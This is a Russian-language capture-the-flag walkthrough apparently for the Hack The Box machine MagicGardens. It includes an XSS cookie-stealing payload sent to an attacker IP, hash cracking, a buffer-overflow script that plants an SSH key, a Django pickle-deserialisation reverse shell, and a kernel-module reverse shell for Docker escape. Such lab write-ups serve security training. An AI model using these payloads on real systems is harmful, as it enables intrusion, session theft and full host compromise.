HTB MagicGardens
Эксплуатируем переполнение буфера и повышаем привилегии в Linux
Наша главная цель — получение прав суперпользователя на машине MagicGardens с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.9 magicgardens.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел четыре открытых порта:
- 22 — служба OpenSSH 9.2p1;
- 80 — веб‑сервер Nginx 1.22.1;
- 1337 — неизвестная служба;
- 5000 — служба Docker Registry.
Docker Registry использует HTTP-аутентификацию, учетных данных от SSH у нас пока нет, поэтому начинаем с изучения доступного нам веб‑сайта.

Точка входа
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
-
-u
— URL; -
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-d
— глубина сканирования.
Задаем все параметры и запускаем сканирование:
feroxbuster -u http://magicgardens.htb/ -w directory_2.3_medium_lowercase.txt -d 1 -t 128

В числе прочего находим админку Django на странице /
.

Также на сайте есть возможность авторизации и регистрации.

Авторизованному пользователю всегда доступно больше возможностей, поэтому сразу же регистрируемся. Теперь нам доступны такие функции, как выбор товаров и даже система подписки — что‑то вроде получения постоянной скидки на товары.


Судя по сообщению на странице, после подтверждения банка мы должны были получить QR-код, однако ничего такого не произошло. А еще при выборе товара нам придет сообщение от какого‑то morty, который говорит, что если отправим ему QR-код, то получим свою скидку.

Перейдем к Burp History и пройдемся по запросам в поисках чего‑нибудь аномального и интересного. Например, в запросе к банку в параметре bank
указан какой‑то адрес.

Запустим листенер на порте 80, перенаправим запрос в Burp Repeater и укажем в параметре bank
адрес своего сервера.


Листенер засечет HTTP-запрос с сервера. Так как никакого ответа мы не отправили, на сервере отображено не такое сообщение, как раньше.

То есть, если мы ответим серверу, сможем получить нужный QR-код.
Точка опоры
Сделаем на Python сервер, который будет отвечать на запрос к /
.
from flask import Flask, jsonify, requestapp = Flask(__name__)@app.route('/api/payments/', methods=['POST'])def func_payment(): r_json = request.get_json() r_json['status'] = "200" return jsonify(r_json)app.run(host='0.0.0.0', port=80, debug=True)
Запускаем код, а затем повторяем запрос с подменой адреса своим.


Теперь получаем сообщение, что подписка в обработке, а при обновлении страницы появляется желанный QR-код.

Расшифруем QR-код, чтобы понимать, какие данные он хранит.

Скорее всего, morty проверяет имя пользователя, когда декодирует QR-код. Попробуем вместо имени аккаунта подставить код на JavaScript. Превратить его в QR можно при помощи онлайнового генератора.
3cca634013591eb51173fb6207572e37.0d341bcdc6746f1d452b3f4de32357b9.<img src=x onerror=this.src='http://10.10.16.51/?c='+document.cookie>
Этот код отправит на наш сервер cookie пользователя. Запускаем листенер (nc
) и отправляем в ответном сообщении пользователю morty сгенерированный QR-код. Почти сразу получаем запрос с сессионным идентификатором пользователя.

В хранилище браузера подставляем полученный sessionid
и обновляем страницу. Таким образом мы захватываем аккаунт morty.

Переходим на страницу /
и получаем доступ к настройкам Django.

Среди параметров аккаунта пользователя morty есть и хеш его пароля.

Ломаем хеш с помощью hashcat и используем полученные учетные данные для входа на сервер по SSH.
hashcat 'pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=' rockyou.txt


Продвижение
Мы в системе, а значит, нужно собрать информацию о ней. Я буду использовать для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим скрипт на удаленный хост, дадим право на выполнение и запустим сканирование. А затем смотрим, что удалось найти.
На хосте есть Docker, однако мы не в контейнере.

Среди запущенных процессов есть какой‑то harvest
, работающий в контексте пользователя alex
.

Пользователь alex
состоит в большом количестве групп.

У пользователя alex
есть входящие сообщения.

Информации отобрали много, однако она вся про другого пользователя. Перейти к Алексу можно только через уязвимость в сервере harvest. Скачиваем исполняемый файл на свою машину для анализа.

Запустим серверную часть и проверим прослушиваемые порты. Так узнаем, что приложение прослушивает порт 1337.
./harvest server -i eth0
netstat -an

Я подключился к этому порту через netcat, отправил тестовые данные и получил сообщение о неверном хендшейке.

Сервер как‑то проверяет полученные данные. Чтобы понять, как он это делает, проанализируем файл в декомпиляторе. В IDA Pro комбинацией клавиш Shift-F12 отобразим все строки в исполняемом файле. Найдем строку [
и перейдем к месту ее использования в коде программы. Так мы получаем декомпилированный код функции harvest_handshake_server
.

В этой функции полученная строка сравнивается со строкой harvest
(строка 17). Чтобы получить полную строку, с которой производится сравнение, запустим сервер в ltrace
.
ltrace ./harvest server -i eth0
echo "harvest v123" | nc localhost 1337

В функциях strlen
и strcmp
можно увидеть валидную строку. Отправим ее серверу и в ответ получим какие‑то данные о сети. Значит, проверка пройдена.
echo "harvest v1.0.3" | nc localhost 1337

Вернемся к декомпилятору. После harvest_handshake_server
следует вызов функции handle_raw_packets
, в которой в зависимости от полученного сетевого пакета происходит вызов функций print_packet
или log_packet
(строки 47–51).

Функция print_packet
отправит данные обратно клиенту. Судя по формату, именно их мы получили ранее.

А вот функция log_packet
выводит данные в файл. Формат данных и имя файла заданы статически, с ограниченным размером (строки 4 и 5).

Сразу обратим внимание на неконтролируемое копирование данных в ограниченный по размеру массив в строке 11, здесь потенциальное переполнение буфера. Давай в этом убедимся.
Переполнение буфера
Первым делом нам нужно определить смещение, достаточное для перезаписи данных в памяти. Для этого можно сгенерировать последовательность де Брёйна длиной 65 500 байт. Она поможет быстро вычислять размеры используемых буферов.
msf-pattern_create 65500 > s.txt
Давай набросаем на Python скрипт, который автоматически будет открывать соединение с сервером и отправлять данные из файла.
import socketimport osos.system('echo "harvest v1.0.3" | nc 127.0.0.1 1337')address6 = ('::1', 1337)s6 = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)s6.connect(address6)data = ''with open('s.txt', 'rb') as f: data = bytearray(f.read())s6.send(data)
Теперь, если запустить серверную часть, а затем выполнить скрипт, программа аварийно завершится с ошибками, а в текущем каталоге появится непонятный файл. При этом в файле также присутствуют данные из сгенерированной последовательности.


Таким образом, если сформировать данные в определенном формате, то можно будет создать на сервере файл с определенным названием и содержимым. Запустим серверную часть в strace
и выполним эксплоит. Затем в логах strace
найдем функцию открытия файла.

Во втором параметре функции передается имя файла. По первым четырем символам мы сможем определить смещение подстроки в общей последовательности де Брёйна.
msf-pattern_offset -l 65500 -q Fu8F

Таким образом, мы можем записать имя файла по смещению 65 364 + 8. Изменим эксплоит так, чтобы на сервере создавался файл с именем id_rsa
(мы сможем записать туда известный нам приватный ключ SSH, который позволит нам авторизоваться).
import socketimport osos.system('echo "harvest v1.0.3" | nc 127.0.0.1 1337')address6 = ('::1', 1337)s6 = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)s6.connect(address6)data = ''with open('s.txt', 'rb') as f: data = bytearray(f.read())data = data[:65364 + 8] + b"id_rsa"s6.send(data)

Файл id_rsa
успешно создан. Теперь похожим образом определим, по какому смещению находятся данные, которые попадают в файл.
msf-pattern_offset -l 65500 -q Aa4A

В файл попадают почти все данные, поэтому возьмем за основу смещение 12. Сгенерируем ключ SSH и поместим его по смещению 12. Строка с ключом должна завершаться символом /
. Также заменим тестовый файл id_rsa
полным путем /
.
import socketimport osos.system('echo "harvest v1.0.3" | nc 127.0.0.1 1337')address6 = ('::1', 1337)s6 = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)s6.connect(address6)data = ''with open('s.txt', 'rb') as f: data = bytearray(f.read())ssh_key = ''with open('id_rsa.pub', 'rb') as k: ssh_key = bytearray(k.read())ssh_key += b"\n"data = data[:12] + ssh_key + data[12 + len(ssh_key) : 65364 + 8] + b"/home/user/.ssh/authorized_keys"s6.send(data)

Эксплоит отработал успешно, SSH-ключ записан. Переносим его на сервер MagicGardens и выполняем.
import socketimport osos.system('echo "harvest v1.0.3" | ./nc 127.0.0.1 1337')address6 = ('::1', 1337)s6 = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)s6.connect(address6)ssh_key = b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOrhbgmrpDGWBmvl8HgrA1wTPJ/JGIgz6248rZSR7Ogv ralf@hacker'ssh_key += b"\n"data = b"A"*12data += ssh_keydata += b"A"*(65364 + 8 - 12 - len(ssh_key))data += b"/home/alex/.ssh/authorized_keys"s6.send(data)
Затем подключаемся к серверу по SSH с приватным ключом и читаем первый флаг.

Локальное повышение привилегий
Получив сессию пользователя alex
, первым делом проверим найденное ранее входящее сообщение /
.

В сообщении передавалось вложение auth.
. Декодируем данные из Base64 и открываем архив.
cat auth.zip.b64 | base64 -d > auth.zip

В архиве — файл с учетными данными для доступа к registry, однако сам архив запаролен. С помощью zip2john получаем хеш пароля, который затем подбираем с помощью hashcat.
hashcat -m 17210 --username zip_hash rockyou.txt

После извлечения файла passwd
переберем хеш пароля из него.

hashcat -m 3200 --username htpasswd rockyou.txt

Теперь с помощью DockerRegistryGrabber получим список репозиториев.
python3 drg.py https://10.10.11.9 -U alex -P diamonds --list

Сдампим все содержимое, для чего укажем параметр --dump_all
.
python3 drg.py https://10.10.11.9 -U alex -P diamonds --dump_all

После распаковки всех архивов и быстрого анализа находим в файле .
в каталоге 4803...
секретный ключ Django.

В том же репозитории находим подключение модуля PickleSerializer
.

PickleSerializer RCE
Pickle — это модуль Python, который применяется для сериализации данных, но, в отличие от JSON или YAML, он позволяет сериализовать целые объекты вместе со свойствами и методами. Опасность здесь в том, что можно сериализовать объект с вредоносным кодом в методе __reduce__(
, который сработает при распаковке объекта.
Установим django-docker-template, после чего перейдем в интерактивную консоль Python.
git clone https://github.com/amerkurev/django-docker-template.git
cd django-docker-template
sudo docker build -t django-docker-template:master .sudo docker run --rm django-docker-template:master python manage.py testdocker run -it --rm -v sqlite:/sqlite django-docker-template:master python manage.py shell
Теперь создаем и сериализуем объект, в методе __reduce__
которого выполняем вот такой реверс‑шелл:
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.87/4321 0>&1'
Только предварительно закодируем его в Base64.
from django.contrib.sessions.serializers import PickleSerializerfrom django.core import signingfrom django.conf import settingssettings.configure(SECRET_KEY="55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b")import subprocessclass CreateTmpFile(object): def __reduce__(self): return (subprocess.call, (['bash', '-c','echo L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuODcvNDMyMSAwPiYxJw== | base64 -d | bash'],))sess = signing.dumps(obj=CreateTmpFile(), serializer=PickleSerializer, salt='django.contrib.sessions.backends.signed_cookies' )print(sess)

Теперь запускаем листенер pwncat-cs
и отправляем запрос к серверу, где используем сгенерированные cookie. Сразу же получаем сессию от имени рута.


Побег из Docker
У нас есть рут в «Докере», а значит, нужно подумать, какие есть пути выхода из него, так как это даст нам привилегии root на хостовой системе. Первым делом проверим Linux capabilities.
Справка: Linux capabilities
В Linux пользователь root получает особый контекст при запуске любых процессов. Так, ядро и приложения, работающие от имени root, обычно пропускают любые ограничения, заданные на действия в определенном контексте, поэтому root может делать все, что захочет. Но что, если определенному процессу, который работает в непривилегированном контексте, нужно выполнить требующее привилегий действие, не повышая уровня прав?
Например, бывает нужно позволить процессу производить запись в журнал аудита ядра, но не позволять отключить этот аудит. Ведь если запустить этот процесс в контексте рута, он сможет выполнить оба действия!
Тут на помощь и приходят Linux capabilities. Эти «возможности» предоставляют процессу не все множество привилегий, а какое‑то его подмножество. Другими словами, все привилегии рута разбиваются на более мелкие независимые друг от друга привилегии и процесс получает только те, которые ему нужны.
Получить список capabilities можно с помощью команды capsh
.

В списке есть возможность CAP_SYS_MODULE
, которая позволяет процессу загружать и выгружать модули ядра, предлагая прямой доступ к основным ядерным операциям. Эта возможность обеспечивает повышение привилегий и полную компрометацию системы, позволяя вносить изменения в ядро и обходить все механизмы безопасности Linux, включая и изоляцию контейнеров. В контейнере скомпилируем следующий модуль, который выполнит реверс‑шелл.
#include <linux/kmod.h>#include <linux/module.h>MODULE_LICENSE("GPL");MODULE_AUTHOR("AttackDefense");MODULE_DESCRIPTION("LKM reverse shell module");MODULE_VERSION("1.0");char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.87/5432 0>&1", NULL};static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);}static void __exit reverse_shell_exit(void) { printk(KERN_INFO "Exiting\n");}module_init(reverse_shell_init);module_exit(reverse_shell_exit);
Теперь запускаем листенер (pwncat-cs
) и подгружаем модуль через insmod
.
insmod reverse-shell.ko

На листенер сразу прилетает сессия рута, но уже с хостовой системы.

Машина захвачена!